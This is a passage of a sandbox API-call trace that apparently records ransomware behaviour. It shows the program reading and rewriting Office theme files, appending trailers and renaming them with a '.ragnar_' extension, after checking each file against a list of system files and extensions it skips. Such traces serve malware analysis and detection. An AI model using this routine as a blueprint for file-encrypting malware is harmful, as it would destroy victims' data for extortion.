lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0x1583a, lpOverlapped=0x0) returned 1 [0094.790] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1583a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.790] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.790] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x1583a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.790] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.790] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.791] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.791] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0094.791] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.791] GetProcessHeap () returned 0x580000 [0094.791] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.791] CloseHandle (hObject=0x98) returned 1 [0094.791] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx" [0094.791] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx.ragnar_FD7BD9FC" [0094.791] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\module.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\module.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.792] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e64dd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7e64dd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x96ac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.thmx", cAlternateFileName="NEWSPR~1.THM")) returned 1 [0094.792] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0094.792] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Newsprint.thmx" | out: lpString1="Newsprint.thmx") returned="Newsprint.thmx" [0094.792] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx") returned=".thmx" [0094.792] lstrcmpiW (lpString1="Newsprint.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.792] lstrcmpiW (lpString1="Newsprint.thmx", lpString2="autorun.inf") returned 1 [0094.792] lstrcmpiW (lpString1="Newsprint.thmx", lpString2="boot.ini") returned 1 [0094.792] lstrcmpiW (lpString1="Newsprint.thmx", lpString2="bootfont.bin") returned 1 [0094.792] lstrcmpiW (lpString1="Newsprint.thmx", lpString2="bootsect.bak") returned 1 [0094.792] lstrcmpiW (lpString1="Newsprint.thmx", lpString2="bootmgr") returned 1 [0094.792] lstrcmpiW (lpString1="Newsprint.thmx", lpString2="bootmgr.efi") returned 1 [0094.792] lstrcmpiW (lpString1="Newsprint.thmx", lpString2="bootmgfw.efi") returned 1 [0094.792] lstrcmpiW (lpString1="Newsprint.thmx", lpString2="desktop.ini") returned 1 [0094.792] lstrcmpiW (lpString1="Newsprint.thmx", lpString2="iconcache.db") returned 1 [0094.792] lstrcmpiW (lpString1="Newsprint.thmx", lpString2="ntldr") returned -1 [0094.792] lstrcmpiW (lpString1="Newsprint.thmx", lpString2="ntuser.dat") returned -1 [0094.792] lstrcmpiW (lpString1="Newsprint.thmx", lpString2="ntuser.dat.log") returned -1 [0094.792] lstrcmpiW (lpString1="Newsprint.thmx", lpString2="ntuser.ini") returned -1 [0094.792] lstrcmpiW (lpString1="Newsprint.thmx", lpString2="thumbs.db") returned -1 [0094.792] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0094.792] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0094.792] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0094.792] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0094.792] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0094.792] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0094.792] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0094.792] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\newsprint.thmx")) returned 0x20 [0094.793] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\newsprint.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.793] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=617159) returned 1 [0094.793] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x96abe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.793] GetProcessHeap () returned 0x580000 [0094.793] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.793] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0094.795] VirtualAlloc (lpAddress=0x0, dwSize=0x96ac7, flAllocationType=0x3000, flProtect=0x4) returned 0x21c0000 [0094.795] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.795] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0094.795] ReadFile (in: hFile=0x98, lpBuffer=0x21c0000, nNumberOfBytesToRead=0x96ac7, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesRead=0x1eba0c*=0x96ac7, lpOverlapped=0x0) returned 1 [0094.807] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0094.810] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x96ac7, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.811] WriteFile (in: hFile=0x98, lpBuffer=0x21c0000*, nNumberOfBytesToWrite=0x96ac7, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesWritten=0x1eba08*=0x96ac7, lpOverlapped=0x0) returned 1 [0094.812] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x96ac7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.812] VirtualFree (lpAddress=0x21c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.815] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x96ac7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.815] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.815] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.815] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.815] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0094.815] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.815] GetProcessHeap () returned 0x580000 [0094.815] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.815] CloseHandle (hObject=0x98) returned 1 [0094.816] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx" [0094.816] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx.ragnar_FD7BD9FC" [0094.816] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\newsprint.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\newsprint.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.817] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f06cd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1f06cd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x132b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.thmx", cAlternateFileName="OPULEN~1.THM")) returned 1 [0094.817] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0094.817] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Opulent.thmx" | out: lpString1="Opulent.thmx") returned="Opulent.thmx" [0094.817] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx") returned=".thmx" [0094.817] lstrcmpiW (lpString1="Opulent.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.817] lstrcmpiW (lpString1="Opulent.thmx", lpString2="autorun.inf") returned 1 [0094.817] lstrcmpiW (lpString1="Opulent.thmx", lpString2="boot.ini") returned 1 [0094.817] lstrcmpiW (lpString1="Opulent.thmx", lpString2="bootfont.bin") returned 1 [0094.817] lstrcmpiW (lpString1="Opulent.thmx", lpString2="bootsect.bak") returned 1 [0094.817] lstrcmpiW (lpString1="Opulent.thmx", lpString2="bootmgr") returned 1 [0094.817] lstrcmpiW (lpString1="Opulent.thmx", lpString2="bootmgr.efi") returned 1 [0094.817] lstrcmpiW (lpString1="Opulent.thmx", lpString2="bootmgfw.efi") returned 1 [0094.817] lstrcmpiW (lpString1="Opulent.thmx", lpString2="desktop.ini") returned 1 [0094.817] lstrcmpiW (lpString1="Opulent.thmx", lpString2="iconcache.db") returned 1 [0094.817] lstrcmpiW (lpString1="Opulent.thmx", lpString2="ntldr") returned 1 [0094.817] lstrcmpiW (lpString1="Opulent.thmx", lpString2="ntuser.dat") returned 1 [0094.817] lstrcmpiW (lpString1="Opulent.thmx", lpString2="ntuser.dat.log") returned 1 [0094.817] lstrcmpiW (lpString1="Opulent.thmx", lpString2="ntuser.ini") returned 1 [0094.817] lstrcmpiW (lpString1="Opulent.thmx", lpString2="thumbs.db") returned -1 [0094.817] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0094.817] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0094.817] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0094.818] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0094.818] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0094.818] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0094.818] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0094.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\opulent.thmx")) returned 0x20 [0094.818] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\opulent.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.819] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=78521) returned 1 [0094.819] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x132b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.819] GetProcessHeap () returned 0x580000 [0094.819] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.819] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0094.822] VirtualAlloc (lpAddress=0x0, dwSize=0x132b9, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.822] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.822] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0094.822] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x132b9, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0x132b9, lpOverlapped=0x0) returned 1 [0094.824] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0094.825] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x132b9, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.825] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x132b9, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0x132b9, lpOverlapped=0x0) returned 1 [0094.825] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x132b9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.826] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.826] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x132b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.826] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.826] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.826] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.826] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0094.826] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.826] GetProcessHeap () returned 0x580000 [0094.826] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.827] CloseHandle (hObject=0x98) returned 1 [0094.827] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx" [0094.827] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx.ragnar_FD7BD9FC" [0094.827] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\opulent.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\opulent.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.828] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x229a5400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x229a5400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x16ef4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.thmx", cAlternateFileName="ORIEL~1.THM")) returned 1 [0094.828] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0094.828] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Oriel.thmx" | out: lpString1="Oriel.thmx") returned="Oriel.thmx" [0094.828] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx") returned=".thmx" [0094.828] lstrcmpiW (lpString1="Oriel.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.828] lstrcmpiW (lpString1="Oriel.thmx", lpString2="autorun.inf") returned 1 [0094.828] lstrcmpiW (lpString1="Oriel.thmx", lpString2="boot.ini") returned 1 [0094.828] lstrcmpiW (lpString1="Oriel.thmx", lpString2="bootfont.bin") returned 1 [0094.828] lstrcmpiW (lpString1="Oriel.thmx", lpString2="bootsect.bak") returned 1 [0094.828] lstrcmpiW (lpString1="Oriel.thmx", lpString2="bootmgr") returned 1 [0094.828] lstrcmpiW (lpString1="Oriel.thmx", lpString2="bootmgr.efi") returned 1 [0094.828] lstrcmpiW (lpString1="Oriel.thmx", lpString2="bootmgfw.efi") returned 1 [0094.828] lstrcmpiW (lpString1="Oriel.thmx", lpString2="desktop.ini") returned 1 [0094.828] lstrcmpiW (lpString1="Oriel.thmx", lpString2="iconcache.db") returned 1 [0094.828] lstrcmpiW (lpString1="Oriel.thmx", lpString2="ntldr") returned 1 [0094.828] lstrcmpiW (lpString1="Oriel.thmx", lpString2="ntuser.dat") returned 1 [0094.828] lstrcmpiW (lpString1="Oriel.thmx", lpString2="ntuser.dat.log") returned 1 [0094.828] lstrcmpiW (lpString1="Oriel.thmx", lpString2="ntuser.ini") returned 1 [0094.828] lstrcmpiW (lpString1="Oriel.thmx", lpString2="thumbs.db") returned -1 [0094.828] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0094.828] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0094.828] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0094.828] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0094.829] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0094.829] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0094.829] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0094.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\oriel.thmx")) returned 0x20 [0094.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\oriel.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.829] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=93940) returned 1 [0094.829] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x16eeb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.830] GetProcessHeap () returned 0x580000 [0094.830] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.830] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0094.831] VirtualAlloc (lpAddress=0x0, dwSize=0x16ef4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.832] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.832] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0094.832] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x16ef4, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0x16ef4, lpOverlapped=0x0) returned 1 [0094.834] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0094.835] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16ef4, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.835] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x16ef4, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0x16ef4, lpOverlapped=0x0) returned 1 [0094.835] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16ef4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.835] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.836] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x16ef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.836] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.836] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.836] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.836] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0094.836] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, 